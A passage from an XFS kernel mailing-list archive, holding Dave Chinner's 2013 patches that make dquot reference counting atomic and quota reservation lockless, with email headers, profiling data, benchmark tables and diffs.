ASYNC buffers. > - */ > xfs_buf_ioerror(bp, EIO); > complete(&bp->b_iowait); > } else { > @@ -1129,14 +1131,13 @@ xfs_bdstrat_cb( > if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { > trace_xfs_bdstrat_shut(bp, _RET_IP_); > /* > - * Metadata write that didn't get logged but > - * written delayed anyway. These aren't associated > - * with a transaction, and can be ignored. > + * If this is a cached write, then it is likely to be a delayed > + * write metadata buffer that can be ignored because the > + * contents are logged. > */ > if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) > return xfs_bioerror_relse(bp); > - else > - return xfs_bioerror(bp); > + return xfs_bioerror(bp); > } > > xfs_buf_iorequest(bp); > @@ -1176,7 +1177,15 @@ xfsbdstrat( > { > if (XFS_FORCED_SHUTDOWN(mp)) { > trace_xfs_bdstrat_shut(bp, _RET_IP_); > - xfs_bioerror_relse(bp); > + /* > + * we could be handling uncached IO here, in which case there is > + * always a caller waiting to collect the error and releas the > + * buffer. > + */ > + if (bp->b_pag) > + xfs_bioerror_relse(bp); > + else > + xfs_bioerror(bp); > return; > } > > From dave@fromorbit.com Thu Dec 12 03:41:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8BB9429DF8 for ; Thu, 12 Dec 2013 03:41:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4784D30408A for ; Thu, 12 Dec 2013 01:41:09 -0800 (PST) X-ASG-Debug-ID: 1386841266-04bdf05ced270b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id XUXtoZJO9nlDOaIi for ; Thu, 12 Dec 2013 01:41:07 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAHSDqVJ5LHyk/2dsb2JhbABRCIMHu1sXdIIlAQEFJy8zCBgxOQMbGYgBwj0XjjIJhQgEqieDPSiBLQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 20:11:05 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr2lR-00015r-8i for xfs@oss.sgi.com; Thu, 12 Dec 2013 20:41:01 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr2lR-0005tE-7z for xfs@oss.sgi.com; Thu, 12 Dec 2013 20:41:01 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/3] xfs: dquot refcounting by atomics Date: Thu, 12 Dec 2013 20:40:57 +1100 X-ASG-Orig-Subj: [PATCH 2/3] xfs: dquot refcounting by atomics Message-Id: <1386841258-22183-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386841258-22183-1-git-send-email-david@fromorbit.com> References: <1386841258-22183-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386841266 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143036 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner On concurrent workloads, the dquot lock completely serialises the workload. One of the contributors to that is that taking a reference count on the dquot requires taking the dquot lock. If we make the reference count atomic, we don't need to take the lock to bump the count. Profiles showed that the reference count locking really hurt: - 5.02% [kernel] [k] __mutex_lock_slowpath - __mutex_lock_slowpath - 99.66% mutex_lock - 31.04% xfs_qm_vop_create_dqattach - 30.03% xfs_qm_vop_dqalloc - 20.56% xfs_qm_dqrele - 9.16% xfs_trans_dqresv - 7.31% xfs_trans_dqlockedjoin Primarily in xfs_qm_vop_create_dqattach and xfs_qm_vop_dqalloc(). Baseline performance looked like: FSUse% Count Size Files/sec App Overhead 0 1600000 0 17666.5 15377143 0 3200000 0 17018.6 15922906 0 4800000 0 17373.5 16149660 0 6400000 0 16564.9 17234139 0 8000000 0 17022.4 15987230 0 9600000 0 16684.2 14834507 0 11200000 0 16770.3 27330353 0 12800000 0 15921.4 18935868 So, convert the refcount to an atomic, slightly rearrange the dquot structure to separate read-mostly and contended fields, and the profile changes drastically: - 5.54% [kernel] [k] __mutex_lock_slowpath - __mutex_lock_slowpath - 99.67% mutex_lock - 45.15% xfs_trans_dqlockedjoin - 44.71% xfs_trans_dqresv - 8.23% xfs_qm_dqrele The reference count locking is gone completely and now all contention is within the transaction subsystem. The result: FSUse% Count Size Files/sec App Overhead 0 1600000 0 17559.3 15606077 0 3200000 0 18738.9 14026009 0 4800000 0 18960.0 14381162 0 6400000 0 19026.5 14422024 0 8000000 0 18456.6 15369059 0 9600000 0 17828.4 21075613 0 11200000 0 17903.9 16474615 0 12800000 0 17546.0 13919798 is a roughly 10% improvement in performance. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dquot.c | 16 ++++++++++------ fs/xfs/xfs_dquot.h | 16 +++++++--------- fs/xfs/xfs_qm.c | 6 +++--- fs/xfs/xfs_trace.h | 2 +- 4 files changed, 21 insertions(+), 19 deletions(-) diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 4ce4984..975a46c 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -748,7 +748,7 @@ restart: goto restart; } - dqp->q_nrefs++; + atomic_inc(&dqp->q_nrefs); mutex_unlock(&qi->qi_tree_lock); trace_xfs_dqget_hit(dqp); @@ -799,6 +799,12 @@ restart: } } + /* + * set the reference count before we insert the dquot into the tree + * so it is safe from reclaim by default. + */ + atomic_set(&dqp->q_nrefs, 1); + mutex_lock(&qi->qi_tree_lock); error = -radix_tree_insert(tree, id, dqp); if (unlikely(error)) { @@ -816,11 +822,9 @@ restart: } /* - * We return a locked dquot to the caller, with a reference taken + * We return a locked, referenced dquot to the caller. */ xfs_dqlock(dqp); - dqp->q_nrefs = 1; - qi->qi_dquots++; mutex_unlock(&qi->qi_tree_lock); @@ -841,12 +845,12 @@ void xfs_qm_dqput( struct xfs_dquot *dqp) { - ASSERT(dqp->q_nrefs > 0); + ASSERT(atomic_read(&dqp->q_nrefs) > 0); ASSERT(XFS_DQ_IS_LOCKED(dqp)); trace_xfs_dqput(dqp); - if (--dqp->q_nrefs == 0) { + if (atomic_dec_and_test(&dqp->q_nrefs)) { struct xfs_quotainfo *qi = dqp->q_mount->m_quotainfo; trace_xfs_dqput_free(dqp); diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h index 68a68f7..949a47b 100644 --- a/fs/xfs/xfs_dquot.h +++ b/fs/xfs/xfs_dquot.h @@ -44,26 +44,26 @@ enum { */ typedef struct xfs_dquot { uint dq_flags; /* various flags (XFS_DQ_*) */ - struct list_head q_lru; /* global free list of dquots */ struct xfs_mount*q_mount; /* filesystem this relates to */ - struct xfs_trans*q_transp; /* trans this belongs to currently */ - uint q_nrefs; /* # active refs from inodes */ xfs_daddr_t q_blkno; /* blkno of dquot buffer */ int q_bufoffset; /* off of dq in buffer (# dquots) */ xfs_fileoff_t q_fileoffset; /* offset in quotas file */ - - xfs_disk_dquot_t q_core; /* actual usage & quotas */ - xfs_dq_logitem_t q_logitem; /* dquot log item */ xfs_qcnt_t q_res_bcount; /* total regular nblks used+reserved */ xfs_qcnt_t q_res_icount; /* total inos allocd+reserved */ xfs_qcnt_t q_res_rtbcount;/* total realtime blks used+reserved */ xfs_qcnt_t q_prealloc_lo_wmark;/* prealloc throttle wmark */ xfs_qcnt_t q_prealloc_hi_wmark;/* prealloc disabled wmark */ int64_t q_low_space[XFS_QLOWSP_MAX]; + + atomic_t q_nrefs; /* # active refs from inodes */ + xfs_disk_dquot_t q_core; /* actual usage & quotas */ + xfs_dq_logitem_t q_logitem; /* dquot log item */ struct mutex q_qlock; /* quota lock */ struct completion q_flush; /* flush completion queue */ atomic_t q_pincount; /* dquot pin count */ wait_queue_head_t q_pinwait; /* dquot pinning wait queue */ + struct list_head q_lru; /* global free list of dquots */ + struct xfs_trans *q_transp; /* trans this belongs to currently */ } xfs_dquot_t; /* @@ -164,9 +164,7 @@ extern void xfs_dquot_set_prealloc_limits(struct xfs_dquot *); static inline struct xfs_dquot *xfs_qm_dqhold(struct xfs_dquot *dqp) { - xfs_dqlock(dqp); - dqp->q_nrefs++; - xfs_dqunlock(dqp); + atomic_inc(&dqp->q_nrefs); return dqp; } diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index d31b88e..31c0f85 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -136,7 +136,7 @@ xfs_qm_dqpurge( struct xfs_quotainfo *qi = mp->m_quotainfo; xfs_dqlock(dqp); - if ((dqp->dq_flags & XFS_DQ_FREEING) || dqp->q_nrefs != 0) { + if ((dqp->dq_flags & XFS_DQ_FREEING) || atomic_read(&dqp->q_nrefs)) { xfs_dqunlock(dqp); return EAGAIN; } @@ -540,7 +540,7 @@ xfs_qm_dquot_isolate( * This dquot has acquired a reference in the meantime remove it from * the freelist and try again. */ - if (dqp->q_nrefs) { + if (atomic_read(&dqp->q_nrefs)) { xfs_dqunlock(dqp); XFS_STATS_INC(xs_qm_dqwants); @@ -588,7 +588,7 @@ xfs_qm_dquot_isolate( dqp->dq_flags |= XFS_DQ_FREEING; xfs_dqunlock(dqp); - ASSERT(dqp->q_nrefs == 0); + ASSERT(atomic_read(&dqp->q_nrefs) == 0); list_move_tail(&dqp->q_lru, &isol->dispose); XFS_STATS_DEC(xs_qm_dquot_unused); trace_xfs_dqreclaim_done(dqp); diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 425dfa4..051813c 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -769,7 +769,7 @@ DECLARE_EVENT_CLASS(xfs_dquot_class, __entry->dev = dqp->q_mount->m_super->s_dev; __entry->id = be32_to_cpu(dqp->q_core.d_id); __entry->flags = dqp->dq_flags; - __entry->nrefs = dqp->q_nrefs; + __entry->nrefs = atomic_read(&dqp->q_nrefs); __entry->res_bcount = dqp->q_res_bcount; __entry->bcount = be64_to_cpu(dqp->q_core.d_bcount); __entry->icount = be64_to_cpu(dqp->q_core.d_icount); -- 1.8.4.rc3 From dave@fromorbit.com Thu Dec 12 03:41:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A10BE29DF8 for ; Thu, 12 Dec 2013 03:41:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3DF18AC001 for ; Thu, 12 Dec 2013 01:41:11 -0800 (PST) X-ASG-Debug-ID: 1386841268-04bdf013231d3b50001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id t7UXl7OgUHfyGShj for ; Thu, 12 Dec 2013 01:41:09 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAHSDqVJ5LHyk/2dsb2JhbABRCIMHu1sXdIIlAQEFJy8zCBgxOQMbGYgBwj0XjjEBCYUIBKJfh0iDPSiBLQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 20:11:05 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr2lR-00015s-97 for xfs@oss.sgi.com; Thu, 12 Dec 2013 20:41:01 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr2lR-0005tJ-8O for xfs@oss.sgi.com; Thu, 12 Dec 2013 20:41:01 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/3] xfs: xfs_trans_dqresv() can be made lockless Date: Thu, 12 Dec 2013 20:40:58 +1100 X-ASG-Orig-Subj: [PATCH 3/3] xfs: xfs_trans_dqresv() can be made lockless Message-Id: <1386841258-22183-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386841258-22183-1-git-send-email-david@fromorbit.com> References: <1386841258-22183-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386841268 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143036 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_trans_dqresv() serialises dquot modifications by taking the dquot lock while it is doing reservations. The thing is, nothing it does really requires exclusive access to the dquot except for the reservation accounting. We can do that locklessly with cmpxchg. Signed-off-by: Dave Chinner --- fs/xfs/xfs_trans_dquot.c | 372 +++++++++++++++++++++++++++-------------------- 1 file changed, 213 insertions(+), 159 deletions(-) diff --git a/fs/xfs/xfs_trans_dquot.c b/fs/xfs/xfs_trans_dquot.c index 4117286..fa89d21 100644 --- a/fs/xfs/xfs_trans_dquot.c +++ b/fs/xfs/xfs_trans_dquot.c @@ -33,6 +33,97 @@ STATIC void xfs_trans_alloc_dqinfo(xfs_trans_t *); +STATIC void +xfs_quota_warn( + struct xfs_mount *mp, + struct xfs_dquot *dqp, + int type) +{ + /* no warnings for project quotas - we just return ENOSPC later */ + if (dqp->dq_flags & XFS_DQ_PROJ) + return; + quota_send_warning(make_kqid(&init_user_ns, + (dqp->dq_flags & XFS_DQ_USER) ? + USRQUOTA : GRPQUOTA, + be32_to_cpu(dqp->q_core.d_id)), + mp->m_super->s_dev, type); +} + +/* + * See if we'd go over the hardlimit or exceed the timelimit if we allocate + * nblks. + */ +static bool +xfs_dqlimits_exceeded( + struct xfs_mount *mp, + struct xfs_dquot *dqp, + bool blklimit, + xfs_qcnt_t total_count, + xfs_qcnt_t hardlimit, + xfs_qcnt_t softlimit, + time_t timer, + xfs_qwarncnt_t warns, + xfs_qwarncnt_t warnlimit) +{ + if (hardlimit && total_count > hardlimit) { + xfs_quota_warn(mp, dqp, blklimit ? QUOTA_NL_BHARDWARN + : QUOTA_NL_IHARDWARN); + return true; + } + + if (softlimit && total_count > softlimit) { + if ((timer && get_seconds() > timer) || + (warns && warns >= warnlimit)) { + xfs_quota_warn(mp, dqp, blklimit + ? QUOTA_NL_BSOFTLONGWARN + : QUOTA_NL_ISOFTLONGWARN); + return true; + } + xfs_quota_warn(mp, dqp, blklimit ? QUOTA_NL_BSOFTWARN + : QUOTA_NL_ISOFTWARN); + } + return false; +} + +/* + * Make the required reservation, first checking the limits provided (if + * required) to see if we'd exceed the quota limits. + */ +static xfs_qcnt_t +xfs_dqresv_cmpxchg( + struct xfs_mount *mp, + struct xfs_dquot *dqp, + xfs_qcnt_t *cntp, + xfs_qcnt_t diff, + bool blklimit, + bool enforce, + xfs_qcnt_t hardlimit, + xfs_qcnt_t softlimit, + time_t timer, + xfs_qwarncnt_t warns, + xfs_qwarncnt_t warnlimit) +{ + xfs_qcnt_t count; + xfs_qcnt_t old; + + do { + xfs_qcnt_t total_count; + + count = ACCESS_ONCE(*cntp); + total_count = count + diff; + if (enforce && + xfs_dqlimits_exceeded(mp, dqp, blklimit, total_count, + hardlimit, softlimit, timer, warns, + warnlimit)) + return -1ULL; + + old = count; + count = cmpxchg64(cntp, old, total_count); + } while (count != old); + + return old; +} + /* * Add the locked dquot to the transaction. * The dquot must be locked, and it cannot be associated with any @@ -315,6 +406,18 @@ xfs_trans_dqlockedjoin( } } +static int64_t +xfs_dqresv_return( + xfs_qcnt_t resv, + xfs_qcnt_t resv_used, + xfs_qcnt_t delta) +{ + if (!resv) + return delta; + if (resv > resv_used) + return resv_used - resv; + return resv - resv_used; +} /* * Called by xfs_trans_commit() and similar in spirit to @@ -334,6 +437,7 @@ xfs_trans_apply_dquot_deltas( struct xfs_disk_dquot *d; long totalbdelta; long totalrtbdelta; + struct xfs_mount *mp = tp->t_mountp; if (!(tp->t_flags & XFS_TRANS_DQ_DIRTY)) return; @@ -350,6 +454,7 @@ xfs_trans_apply_dquot_deltas( xfs_trans_dqlockedjoin(tp, qa); for (i = 0; i < XFS_QM_TRANS_MAXDQS; i++) { + int64_t diff; qtrx = &qa[i]; /* * The array of dquots is filled @@ -419,73 +524,46 @@ xfs_trans_apply_dquot_deltas( * add this to the list of items to get logged */ xfs_trans_log_dquot(tp, dqp); + /* * Take off what's left of the original reservation. * In case of delayed allocations, there's no * reservation that a transaction structure knows of. */ - if (qtrx->qt_blk_res != 0) { - if (qtrx->qt_blk_res != qtrx->qt_blk_res_used) { - if (qtrx->qt_blk_res > - qtrx->qt_blk_res_used) - dqp->q_res_bcount -= (xfs_qcnt_t) - (qtrx->qt_blk_res - - qtrx->qt_blk_res_used); - else - dqp->q_res_bcount -= (xfs_qcnt_t) - (qtrx->qt_blk_res_used - - qtrx->qt_blk_res); - } - } else { - /* - * These blks were never reserved, either inside - * a transaction or outside one (in a delayed - * allocation). Also, this isn't always a - * negative number since we sometimes - * deliberately skip quota reservations. - */ - if (qtrx->qt_bcount_delta) { - dqp->q_res_bcount += - (xfs_qcnt_t)qtrx->qt_bcount_delta; - } - } + diff = xfs_dqresv_return(qtrx->qt_blk_res, + qtrx->qt_blk_res_used, + qtrx->qt_bcount_delta); + if (diff) + xfs_dqresv_cmpxchg(mp, dqp, &dqp->q_res_bcount, + diff, true, false, 0, 0, 0, + 0, 0); /* * Adjust the RT reservation. */ - if (qtrx->qt_rtblk_res != 0) { - if (qtrx->qt_rtblk_res != qtrx->qt_rtblk_res_used) { - if (qtrx->qt_rtblk_res > - qtrx->qt_rtblk_res_used) - dqp->q_res_rtbcount -= (xfs_qcnt_t) - (qtrx->qt_rtblk_res - - qtrx->qt_rtblk_res_used); - else - dqp->q_res_rtbcount -= (xfs_qcnt_t) - (qtrx->qt_rtblk_res_used - - qtrx->qt_rtblk_res); - } - } else { - if (qtrx->qt_rtbcount_delta) - dqp->q_res_rtbcount += - (xfs_qcnt_t)qtrx->qt_rtbcount_delta; - } + diff = xfs_dqresv_return(qtrx->qt_rtblk_res, + qtrx->qt_rtblk_res_used, + qtrx->qt_rtbcount_delta); + if (diff) + xfs_dqresv_cmpxchg(mp, dqp, &dqp->q_res_rtbcount, + diff, true, false, 0, 0, 0, + 0, 0); /* * Adjust the inode reservation. */ - if (qtrx->qt_ino_res != 0) { + if (qtrx->qt_ino_res == 0) + diff = qtrx->qt_icount_delta; + else { ASSERT(qtrx->qt_ino_res >= qtrx->qt_ino_res_used); - if (qtrx->qt_ino_res > qtrx->qt_ino_res_used) - dqp->q_res_icount -= (xfs_qcnt_t) - (qtrx->qt_ino_res - - qtrx->qt_ino_res_used); - } else { - if (qtrx->qt_icount_delta) - dqp->q_res_icount += - (xfs_qcnt_t)qtrx->qt_icount_delta; + diff = qtrx->qt_ino_res - qtrx->qt_ino_res_used; + if (diff < 0) + diff = 0; } - + if (diff) + xfs_dqresv_cmpxchg(mp, dqp, &dqp->q_res_icount, + diff, true, false, 0, 0, 0, + 0, 0); ASSERT(dqp->q_res_bcount >= be64_to_cpu(dqp->q_core.d_bcount)); ASSERT(dqp->q_res_icount >= @@ -562,22 +640,6 @@ xfs_trans_unreserve_and_mod_dquots( } } -STATIC void -xfs_quota_warn( - struct xfs_mount *mp, - struct xfs_dquot *dqp, - int type) -{ - /* no warnings for project quotas - we just return ENOSPC later */ - if (dqp->dq_flags & XFS_DQ_PROJ) - return; - quota_send_warning(make_kqid(&init_user_ns, - (dqp->dq_flags & XFS_DQ_USER) ? - USRQUOTA : GRPQUOTA, - be32_to_cpu(dqp->q_core.d_id)), - mp->m_super->s_dev, type); -} - /* * This reserves disk blocks and inodes against a dquot. * Flags indicate if the dquot is to be locked here and also @@ -591,20 +653,35 @@ xfs_trans_dqresv( xfs_dquot_t *dqp, long nblks, long ninos, - uint flags) + uint flags, + bool enforce) { xfs_qcnt_t hardlimit; xfs_qcnt_t softlimit; time_t timer; xfs_qwarncnt_t warns; xfs_qwarncnt_t warnlimit; - xfs_qcnt_t total_count; + xfs_qcnt_t oldcnt; xfs_qcnt_t *resbcountp; xfs_quotainfo_t *q = mp->m_quotainfo; + /* + * Lockless reservation algorithm: + * + * sample block count, inode count, timers and limits + * cmpxchg loop to modify block reservation + * check limits: + * if over, check limits have not changed + * no change, fail + * cmpxchg block reservation + * + * if transaction, modify transaction context w/ change deltas. + * no locks required for this as context is private to transaction. + */ + if (nblks == 0) + goto do_ninos; - xfs_dqlock(dqp); - + smp_mb(); if (flags & XFS_TRANS_DQ_RES_BLKS) { hardlimit = be64_to_cpu(dqp->q_core.d_blk_hardlimit); if (!hardlimit) @@ -630,69 +707,35 @@ xfs_trans_dqresv( resbcountp = &dqp->q_res_rtbcount; } - if ((flags & XFS_QMOPT_FORCE_RES) == 0 && - dqp->q_core.d_id && - ((XFS_IS_UQUOTA_ENFORCED(dqp->q_mount) && XFS_QM_ISUDQ(dqp)) || - (XFS_IS_GQUOTA_ENFORCED(dqp->q_mount) && XFS_QM_ISGDQ(dqp)) || - (XFS_IS_PQUOTA_ENFORCED(dqp->q_mount) && XFS_QM_ISPDQ(dqp)))) { - if (nblks > 0) { - /* - * dquot is locked already. See if we'd go over the - * hardlimit or exceed the timelimit if we allocate - * nblks. - */ - total_count = *resbcountp + nblks; - if (hardlimit && total_count > hardlimit) { - xfs_quota_warn(mp, dqp, QUOTA_NL_BHARDWARN); - goto error_return; - } - if (softlimit && total_count > softlimit) { - if ((timer != 0 && get_seconds() > timer) || - (warns != 0 && warns >= warnlimit)) { - xfs_quota_warn(mp, dqp, - QUOTA_NL_BSOFTLONGWARN); - goto error_return; - } - - xfs_quota_warn(mp, dqp, QUOTA_NL_BSOFTWARN); - } - } - if (ninos > 0) { - total_count = be64_to_cpu(dqp->q_core.d_icount) + ninos; - timer = be32_to_cpu(dqp->q_core.d_itimer); - warns = be16_to_cpu(dqp->q_core.d_iwarns); - warnlimit = dqp->q_mount->m_quotainfo->qi_iwarnlimit; - hardlimit = be64_to_cpu(dqp->q_core.d_ino_hardlimit); - if (!hardlimit) - hardlimit = q->qi_ihardlimit; - softlimit = be64_to_cpu(dqp->q_core.d_ino_softlimit); - if (!softlimit) - softlimit = q->qi_isoftlimit; - - if (hardlimit && total_count > hardlimit) { - xfs_quota_warn(mp, dqp, QUOTA_NL_IHARDWARN); - goto error_return; - } - if (softlimit && total_count > softlimit) { - if ((timer != 0 && get_seconds() > timer) || - (warns != 0 && warns >= warnlimit)) { - xfs_quota_warn(mp, dqp, - QUOTA_NL_ISOFTLONGWARN); - goto error_return; - } - xfs_quota_warn(mp, dqp, QUOTA_NL_ISOFTWARN); - } - } - } - - /* - * Change the reservation, but not the actual usage. - * Note that q_res_bcount = q_core.d_bcount + resv - */ - (*resbcountp) += (xfs_qcnt_t)nblks; - if (ninos != 0) - dqp->q_res_icount += (xfs_qcnt_t)ninos; - + oldcnt = xfs_dqresv_cmpxchg(mp, dqp, resbcountp, nblks, true, enforce, + hardlimit, softlimit, timer, warns, + warnlimit); + if (oldcnt == (xfs_qcnt_t)-1ULL) + goto error_return; + +do_ninos: + if (ninos == 0) + goto do_trans; + + smp_mb(); + timer = be32_to_cpu(dqp->q_core.d_itimer); + warns = be16_to_cpu(dqp->q_core.d_iwarns); + warnlimit = dqp->q_mount->m_quotainfo->qi_iwarnlimit; + hardlimit = be64_to_cpu(dqp->q_core.d_ino_hardlimit); + if (!hardlimit) + hardlimit = q->qi_ihardlimit; + softlimit = be64_to_cpu(dqp->q_core.d_ino_softlimit); + if (!softlimit) + softlimit = q->qi_isoftlimit; + resbcountp = &dqp->q_res_icount; + + oldcnt = xfs_dqresv_cmpxchg(mp, dqp, resbcountp, ninos, false, enforce, + hardlimit, softlimit, timer, warns, + warnlimit); + if (oldcnt == (xfs_qcnt_t)-1ULL) + goto error_undo_nblks; + +do_trans: /* * note the reservation amt in the trans struct too, * so that the transaction knows how much was reserved by @@ -700,27 +743,30 @@ xfs_trans_dqresv( * We don't do this when we are reserving for a delayed allocation, * because we don't have the luxury of a transaction envelope then. */ - if (tp) { - ASSERT(tp->t_dqinfo); - ASSERT(flags & XFS_QMOPT_RESBLK_MASK); - if (nblks != 0) - xfs_trans_mod_dquot(tp, dqp, - flags & XFS_QMOPT_RESBLK_MASK, - nblks); - if (ninos != 0) - xfs_trans_mod_dquot(tp, dqp, - XFS_TRANS_DQ_RES_INOS, - ninos); - } - ASSERT(dqp->q_res_bcount >= be64_to_cpu(dqp->q_core.d_bcount)); - ASSERT(dqp->q_res_rtbcount >= be64_to_cpu(dqp->q_core.d_rtbcount)); - ASSERT(dqp->q_res_icount >= be64_to_cpu(dqp->q_core.d_icount)); + if (!tp) + return 0; - xfs_dqunlock(dqp); + ASSERT(tp->t_dqinfo); + ASSERT(flags & XFS_QMOPT_RESBLK_MASK); + if (nblks) + xfs_trans_mod_dquot(tp, dqp, flags & XFS_QMOPT_RESBLK_MASK, + nblks); + if (ninos != 0) + xfs_trans_mod_dquot(tp, dqp, XFS_TRANS_DQ_RES_INOS, ninos); return 0; +error_undo_nblks: + /* ninos reservation failed, so if we changed nblks, undo that. */ + if (nblks) { + if (flags & XFS_TRANS_DQ_RES_BLKS) + resbcountp = &dqp->q_res_bcount; + else + resbcountp = &dqp->q_res_rtbcount; + xfs_dqresv_cmpxchg(mp, dqp, resbcountp, -nblks, true, false, + 0, 0, 0, 0, 0); + } + error_return: - xfs_dqunlock(dqp); if (flags & XFS_QMOPT_ENOSPC) return ENOSPC; return EDQUOT; @@ -751,6 +797,7 @@ xfs_trans_reserve_quota_bydquots( uint flags) { int error; + bool enforce; if (!XFS_IS_QUOTA_RUNNING(mp) || !XFS_IS_QUOTA_ON(mp)) return 0; @@ -761,20 +808,28 @@ xfs_trans_reserve_quota_bydquots( ASSERT(flags & XFS_QMOPT_RESBLK_MASK); if (udqp) { + enforce = !(flags & XFS_QMOPT_FORCE_RES) && + udqp->q_core.d_id && XFS_IS_UQUOTA_ENFORCED(mp); error = xfs_trans_dqresv(tp, mp, udqp, nblks, ninos, - (flags & ~XFS_QMOPT_ENOSPC)); + (flags & ~XFS_QMOPT_ENOSPC), enforce); if (error) return error; } if (gdqp) { - error = xfs_trans_dqresv(tp, mp, gdqp, nblks, ninos, flags); + enforce = !(flags & XFS_QMOPT_FORCE_RES) && + gdqp->q_core.d_id && XFS_IS_GQUOTA_ENFORCED(mp); + error = xfs_trans_dqresv(tp, mp, gdqp, nblks, ninos, flags, + enforce); if (error) goto unwind_usr; } if (pdqp) { - error = xfs_trans_dqresv(tp, mp, pdqp, nblks, ninos, flags); + enforce = !(flags & XFS_QMOPT_FORCE_RES) && + pdqp->q_core.d_id && XFS_IS_PQUOTA_ENFORCED(mp); + error = xfs_trans_dqresv(tp, mp, pdqp, nblks, ninos, flags, + enforce); if (error) goto unwind_grp; } @@ -784,14 +839,13 @@ xfs_trans_reserve_quota_bydquots( */ return 0; + /* unwinding does not require limit enforcement. */ unwind_grp: - flags |= XFS_QMOPT_FORCE_RES; if (gdqp) - xfs_trans_dqresv(tp, mp, gdqp, -nblks, -ninos, flags); + xfs_trans_dqresv(tp, mp, gdqp, -nblks, -ninos, flags, false); unwind_usr: - flags |= XFS_QMOPT_FORCE_RES; if (udqp) - xfs_trans_dqresv(tp, mp, udqp, -nblks, -ninos, flags); + xfs_trans_dqresv(tp, mp, udqp, -nblks, -ninos, flags, false); return error; } -- 1.8.4.rc3 From dave@fromorbit.com Thu Dec 12 03:41:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2681629E0A for ; Thu, 12 Dec 